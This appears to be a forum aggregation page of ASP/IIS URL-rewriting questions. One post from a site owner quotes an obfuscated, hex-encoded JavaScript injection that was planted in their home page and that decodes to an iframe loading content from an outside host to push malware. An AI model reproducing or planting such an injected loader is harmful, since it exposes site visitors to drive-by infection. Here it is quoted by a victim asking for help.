Rewrite Of Url
I have a site hosted at Verio that has four different domain names pointing to it. So when you browse to any of the four domain names, the same site is displayed. What I would like to do is make it so www.domain1.com is the primary URL, and if anyone browses to the site using any of the other addresses, the address is changed to reflect
www.domain1.com.
Furthermore, I'd like it so if someone navigates to www.domain2.com/somepage.asp, the address is changed and the path is retained, so the browser's address bar changes to www.domain1.com/somepage.asp.
Is this possible to do when I don't have much access to the server (i.e. Verio-hosted space)? What code can I use to do this?
View Replies
ADVERTISEMENT
how to show the URL without .asp or query string with parameters behind?
for example, i have a url string : www.abc.com/abc/abc.asp?id=1. how can i display the url in tis format with out the querystring? example: www.abc.com/abc/1
View Replies
View Related
Some of my ASP pages are dynamically generated which we all know is a bad practice in terms of SEO. I've been trying to find a way on how i can convert these dynamic pages to static pages. I found some articles about ISAPI rewrite but according to them, it only works on dedicated servers, am still not sure about this though. By the way, is it possible just to code these and generate a static ASP page from a dynamic page? Do you have some sample codes on how to do this?
View Replies
View Related
how best to get an entire .asp dynamic site geared to Search Engines - I have looked at possible URL rewrites but that may not work as the site isn't on a dedicated server?
View Replies
View Related
Basically Ive got an url:
http://www.thepagename.com/town_pag...n_name=WHATEVER
Basically need that to be written and shown in the browser like:
www.thepagename.com/WHATEVER.html
notice how i've added the .html, thats for our Search Engine
Optimisation, or it may not be needed?
View Replies
View Related
If I want to rewrite URLs like:
http://www.mysite.com/check.asp?id=213&cat=USA
how can I rewrite this URL to make it friendly?
View Replies
View Related
Been searching for a program to do an ASP re-write to help wiht the dynamic URLs. most want something to install. I noticed that .NET has something - can that possibly be used or is there something else out there that actually does not have to be installed on the server?
View Replies
View Related
In apache I used a feature called a "Rewrite rule" inside a .htaccess
file to process the URL :
i.e. http://www/mypage.html =http://www/page.php?page=mypage
Now I'd like to do a similar action on a IIS server with ASP (not
..net)...
Can anyone tell me how you can do this ?
View Replies
View Related
how to show the URL without .asp or query string with parameters behind?
for example, i have a url string : www.abc.com/abc/abc.asp?id=1. how can i display the url in tis format with out the querystring? example: www.abc.com/abc/1
View Replies
View Related
where i can find some asp hosting which comes with the isapi rewrite componant, with out me having to buy a dedicated server?
View Replies
View Related
Im looking for help in setting up an url rewrite using ISAPI Rewrite. The componet is installed on my server which is win2003. What Im looking to set up an asp page or whatever to rewrite url: domain/MyAd/66 so it will point to domain/homeDetail.asp?AD_ID=66 . I also want to be sure that I dont screw up my search engine visablity with this. Looking for some help, examples, etc.
View Replies
View Related
I have a dedicated server running on IIS 6.(hosting company) Where should I place the rules for rewriting urls?ex>
RewriteEngine On
RewriteRule /agents/(.*)/.* /realestateagent.asp?id=$1
View Replies
View Related
I have some code I need modified and I can't seem to figure it out. Here's the section of code I need to change: ....
View Replies
View Related
This is weird, I'm pretty familiar with SQL Injection - but we're getting these weird injection that is writing in the default document or home page. What it's doing is putting in script code at the top or bottom of the home page... it looks something like this:
<script>function xy1q4877d47d91a36(q4877d47d92209){ function q4877d47d929d5
() {return 16;} return (parseInt(q4877d47d92209,q4877d47d929d5()));}funct ion
q4877d47d93974(q4877d47d94144){ var q4877d47d95c9b=2; var
q4877d47d94d7f='';q4877d47d96c3a=String.fromCharCo de;for(q4877d47d954cc=0;q4877d47d954cc<q4877d47d94144.length;q4877d47d954cc+=q4877d47d95c 9b){
q4877d47d94d7f+=(q4877d47d96c3a(xy1q4877d47d91a36( q4877d47d94144.substr(q4877d47d954cc,q4877d47d95c9 b))));}return
q4877d47d94d7f;} var
q4877d47d9740a='3C7363726970743E696628216D79696129 7B646F63756D656E742E777269746528756E65736361706528 20272533632536392536362537322536312536642536352532 30253733253732253633253364253237253638253734253734 25373025336125326625326625373425373225373525363525 37322536392536652536372537342536662536652536352537 33253265253665253635253734253266253733253635253631 25373225363325363825326525363325363725363925336625 36322536312536312536372536392537322536632625323725 32622534642536312537342536382532652537322536662537 35253665253634253238253464253631253734253638253265 25373225363125366525363425366625366425323825323925 32612533352533352533352533362533372532392532622532 37253634253335253332253338253237253230253737253639 25363425373425363825336425333125333825333125323025 36382536352536392536372536382537342533642533332533 30253337253230253733253734253739253663253635253364 25323725363425363925373325373025366325363125373925 33612532302536652536662536652536352532372533652533 63253266253639253636253732253631253664253635253365 2729293B7D766172206D7969613D747275653B3C2F73637269
70743E';document.write(q4877d47d93974(q4877d47d974 0a));</script>
What it's doing is decoding itself into an iframe that links out to popups that will try and download a virus on your machine. I don't get the popup in my machine because i think i have a newer version of IE. But some people have complained that it is installing a virus on their machine.
Also what is crazy is when I replace the file with a good version. In about 30 mins, it automatically overwritten with the infected version. Also I've noticed it on some other websites that I haven't touched.
Has anyone encountered this before? Because I'm stumped as to the cause of it. I don't see the issue on our dev server. It seems to be IIS on a shared host.
View Replies
View Related
I have some asp code in variable so i want to rewrite anchor tags like this:
If i have:
<a href="http://www.sitepoint.com">www.sitepoint.com</a>
To be rewrited as:
<a href="http://www.sitepoint.com" target="_blank">www.sitepoint.com</a> out
The problem is that urls from my domain shouldn't be changed for example if href="/some_path" or href="http://www.mysite.com/some_path"
I try making some expressions with RegexBuddy but it didnt worked very nice.
View Replies
View Related